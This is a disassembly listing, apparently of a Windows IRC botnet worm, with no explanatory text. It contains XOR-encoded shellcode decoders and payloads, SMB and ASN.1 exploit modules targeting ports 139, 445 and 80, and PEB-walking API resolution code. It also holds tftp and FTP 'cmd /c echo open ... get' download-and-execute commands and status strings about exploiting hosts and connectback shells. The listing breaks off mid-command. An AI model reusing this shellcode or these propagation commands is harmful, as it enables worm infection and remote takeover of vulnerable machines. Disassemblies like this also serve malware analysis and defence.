aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DDD4o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DDD0o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DDCCo
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DDC8o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DDC4o
		align 10h
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DDC0o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DDBCo
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DDB8o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DDB4o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DDB0o
aBady		db 'Bady',0             ; DATA XREF: ___:0042DDACo
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DDA8o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DDA4o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DDA0o
		align 10h
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DD9Co
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DD98o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DD94o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DD90o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DD8Co
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DD88o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DD84o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DD80o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DD7Co
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DD78o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DD74o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DD70o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DD6Co
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DD68o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DD64o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DD60o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DD5Co
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DD58o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DD54o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042DD50o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042DD4Co
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042DD48o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042DD44o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042DD40o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042DD3Co
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042DD38o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042DD34o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042DD30o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042DD2Co
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042DD28o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042DD24o
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042DD20o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042DD1Co
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042DD18o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042DD14o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042DD10o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042DD0Co
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042DD08o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042DD04o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042DD00o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42DCFCo
aAdams		db 'Adams',0            ; DATA XREF: ___:0042DCF8o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042DCF4o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42DCF0o
		align 4
byte_431948	db 50h			; DATA XREF: ___:0040ADF0o
					; ___:0040ADFDr
		db 43h,	2 dup(0)
dword_43194C	dd 7C7325h		; DATA XREF: ___:0040AE9Bo
dword_431950	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA5o
dword_431958	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Co
					; sub_41AA43:loc_41AB06o
dword_43195C	dd 334B32h		; DATA XREF: ___:0040AF95o
dword_431960	dd 5058h		; DATA XREF: ___:0040AF87o
					; sub_41AA43+AAo
dword_431964	dd 4B32h		; DATA XREF: ___:0040AF77o
					; sub_41AA43+98o
dword_431968	dd 454Dh		; DATA XREF: ___:0040AF5Eo
					; sub_41AA43+7Eo
dword_43196C	dd 3839h		; DATA XREF: ___:0040AF4Eo
					; sub_41AA43+6Co
dword_431970	dd 544Eh		; DATA XREF: ___:0040AF3Eo
					; sub_41AA43+5Ao
dword_431974	dd 3539h		; DATA XREF: ___:0040AF30o
					; sub_41AA43+46o
dword_431978	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEB+3Ao
off_431980	dd offset asc_5D4D5B	; DATA XREF: sub_40AFEB+2Co
					; sub_40AFEB+57o
					; "ллллллллллллллллллллллллллллллллллллллл"...
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEB+18o
					; sub_418212+5o
		align 4
		jmp	short loc_431990
; ---------------------------------------------------------------------------


loc_43198E:				; CODE XREF: ___:loc_431990p
		jmp	short loc_431995
; ---------------------------------------------------------------------------


loc_431990:				; CODE XREF: ___:0043198Cj
		call	loc_43198E


loc_431995:				; CODE XREF: ___:loc_43198Ej
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_43199C:				; CODE XREF: ___:004319A1j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_43199C
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_4319B2:				; CODE XREF: ___:004319B7j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4319B2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_431A54
		jnz	short loc_431A40
		retn
; ---------------------------------------------------------------------------


loc_431A40:				; CODE XREF: ___:00431A3Dj
					; ___:00431A4Dj
		call	near ptr loc_431A45+1


loc_431A45:				; CODE XREF: ___:loc_431A40p
		add	[edx+0], ch
		call	sub_431A54
		jz	loc_431A40
		retn

; =============== S U B	R O U T	I N E =======================================



sub_431A54	proc near		; CODE XREF: ___:00431A38p
					; ___:00431A48p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_431A54	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B385+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B385+35o
		align 8
aSym		db 'sym',0              ; DATA XREF: sub_40C125+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DB+30o
		align 4
		dd 5 dup(0)
dword_431B00	dd 0B97h		; DATA XREF: sub_401ACD+1DA1r
					; sub_401ACD+1DCAo ...
off_431B04	dd offset sub_40E0D1	; DATA XREF: sub_40C125+1EAr
dword_431B08	dd 0			; DATA XREF: sub_40B64B+2Eo
					; ___:0040D496w ...
dword_431B0C	dd 1			; DATA XREF: sub_40BACE+1Fr
dword_431B10	dd 1			; DATA XREF: sub_40BACE+3B3r
dword_431B14	dd 0			; DATA XREF: sub_40BACE+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E207h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 10h
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Fh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 10h
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Fh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 10h
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2DAh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 10h
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2DAh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2DAh, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 10h
		db 2 dup(0)
byte_431CE2	db 1			; DATA XREF: sub_401ACD:loc_4037E7r
					; sub_401ACD+1D24o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431D0E

; =============== S U B	R O U T	I N E =======================================



sub_431CFE	proc near		; CODE XREF: sub_431CFE:loc_431D0Ep
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_431D06:				; CODE XREF: sub_431CFE+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431D06
		jmp	short loc_431D13
; ---------------------------------------------------------------------------


loc_431D0E:				; CODE XREF: ___:00431CFCj
		call	sub_431CFE


loc_431D13:				; CODE XREF: sub_431CFE+Ej
		jo	short near ptr dword_431C9C+12h
		cwde
		cdq
		cdq
		retn
sub_431CFE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64B+86o
		align 10h
dword_431E90	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64B+46o
unk_431E9C	db  2Dh	; -		; DATA XREF: sub_40B64B+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431EBC	db  2Dh	; -		; DATA XREF: sub_40B71A+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431F04	db  2Dh	; -		; DATA XREF: sub_40B786+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DB+7Fo
dword_431F40	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DB+40o
dword_431F50	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DB+14o
		dd 7473694Ch, 3Ah
unk_431F6C	db  2Dh	; -		; DATA XREF: ___:0040BA14o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431FA0	db  2Dh	; -		; DATA XREF: ___:0040B922o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_431FD0	db  2Dh	; -		; DATA XREF: sub_40BA57+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_431FF0	db  2Dh	; -		; DATA XREF: sub_40BA57+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_43200C	db  2Dh	; -		; DATA XREF: sub_40BACE+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_432040	db  2Dh	; -		; DATA XREF: sub_40BACE+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_432078	db  2Dh	; -		; DATA XREF: sub_40BACE+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_4320A8	db  2Dh	; -		; DATA XREF: sub_40BACE+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4320DC	db  2Dh	; -		; DATA XREF: sub_40BACE+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_432110	db  2Dh	; -		; DATA XREF: sub_40BACE+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_432144	db  2Dh	; -		; DATA XREF: sub_40C125+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_43216C	db  2Dh	; -		; DATA XREF: sub_40C125+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_4321A4	db  2Dh	; -		; DATA XREF: sub_40C125+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_4321E4	db  2Dh	; -		; DATA XREF: sub_40C125+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_43221C	db  2Dh	; -		; DATA XREF: sub_40C125+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_432250	db  2Dh	; -		; DATA XREF: sub_40C125+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_432284	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59C+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db '░B░B░B░B',0         ; DATA XREF: sub_40CADB+B2o
		align 4
dword_432338	dd 10FF8h, 0		; DATA XREF: sub_40CADB+6Ao
dword_432340	dd 10FF8h		; DATA XREF: sub_40CADB+79o
dword_432344	dd 7FFDF020h, 0		; DATA XREF: sub_40CADB+162o
dword_43234C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF05+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4323D4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF05+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_432404	dd 0			; DATA XREF: sub_40CF05+44o
		dd 800000D4h, 0
unk_432410	db  81h	; │		; DATA XREF: sub_40CFDF+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_43245C	db 41h			; DATA XREF: sub_40D07D+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4324A0	proc near		; DATA XREF: ___:0040D35Co
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_43259C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4325B2
		mov	[esi+8], eax
		call	sub_432565
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4325B2
		mov	[esi+0Ch], eax
		call	sub_432517
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4325B2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4324A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_432517	proc near		; CODE XREF: sub_4324A0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432540
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_432517	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432540	proc near		; CODE XREF: sub_432517+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_43254F:				; CODE XREF: sub_432540+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_43255C
		inc	ebx
		jmp	short loc_43254F
; ---------------------------------------------------------------------------


loc_43255C:				; CODE XREF: sub_432540+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432540	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432565	proc near		; CODE XREF: sub_4324A0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_43257D:				; CODE XREF: sub_432565+1Ej
		cmp	[ecx], ebx
		jz	short loc_432585
		mov	ecx, [ecx]
		jmp	short loc_43257D
; ---------------------------------------------------------------------------


loc_432585:				; CODE XREF: sub_432565+1Aj
		mov	edx, edi


loc_432587:				; CODE XREF: sub_432565+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432591
		mov	edx, [edx+4]
		jmp	short loc_432587
; ---------------------------------------------------------------------------


loc_432591:				; CODE XREF: sub_432565+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_432565	endp


; =============== S U B	R O U T	I N E =======================================



sub_43259C	proc near		; CODE XREF: sub_4324A0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_43259C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4325B2	proc near		; CODE XREF: sub_4324A0+16p
					; sub_4324A0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4325C8:				; CODE XREF: sub_4325B2+33j
		jecxz	short loc_432602
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4325D5:				; CODE XREF: sub_4325B2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4325E1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4325D5
; ---------------------------------------------------------------------------


loc_4325E1:				; CODE XREF: sub_4325B2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4325C8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_432602:				; CODE XREF: sub_4325B2:loc_4325C8j
					; sub_4325B2:loc_432602j
		jmp	short loc_432602
sub_4325B2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_432608	proc near		; DATA XREF: ___:0040D30Ao

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_43265A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_432625:				; CODE XREF: sub_432608+38j
		jecxz	short loc_432655
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432630:				; CODE XREF: sub_432608+32j
		lodsb
		test	al, al
		jz	short loc_43263C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432630
; ---------------------------------------------------------------------------


loc_43263C:				; CODE XREF: sub_432608+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_432625
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_432655:				; CODE XREF: sub_432608:loc_432625j
		mov	[esp+arg_0], ebx
		retn
sub_432608	endp


; =============== S U B	R O U T	I N E =======================================



sub_43265A	proc near		; CODE XREF: sub_432608+7p

; FUNCTION CHUNK AT 00432692 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_432673
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_43267E
; ---------------------------------------------------------------------------


loc_432673:				; CODE XREF: sub_43265A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_43267E:				; CODE XREF: sub_43265A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_432692
sub_43265A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432685	proc near		; CODE XREF: sub_43265A:loc_432692p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_432685	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43265A


loc_432692:				; CODE XREF: sub_43265A+29j
		call	sub_432685


loc_432697:				; DATA XREF: sub_40CADB+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_43265A
; ---------------------------------------------------------------------------
		dw 0
dword_43269C	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADB+2F5o
dword_4326A8	dd 30h			; DATA XREF: sub_40CADB+2CAo
dword_4326AC	dd 0A1h			; DATA XREF: sub_40CADB+29Fo
dword_4326B0	dd 3			; DATA XREF: sub_40CADB+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADB+153o
		align 4


loc_4326BC:				; DATA XREF: sub_40CADB+E8o
		jmp	short near ptr dword_4326C4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4326C4	dd 0			; CODE XREF: ___:loc_4326BCj
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
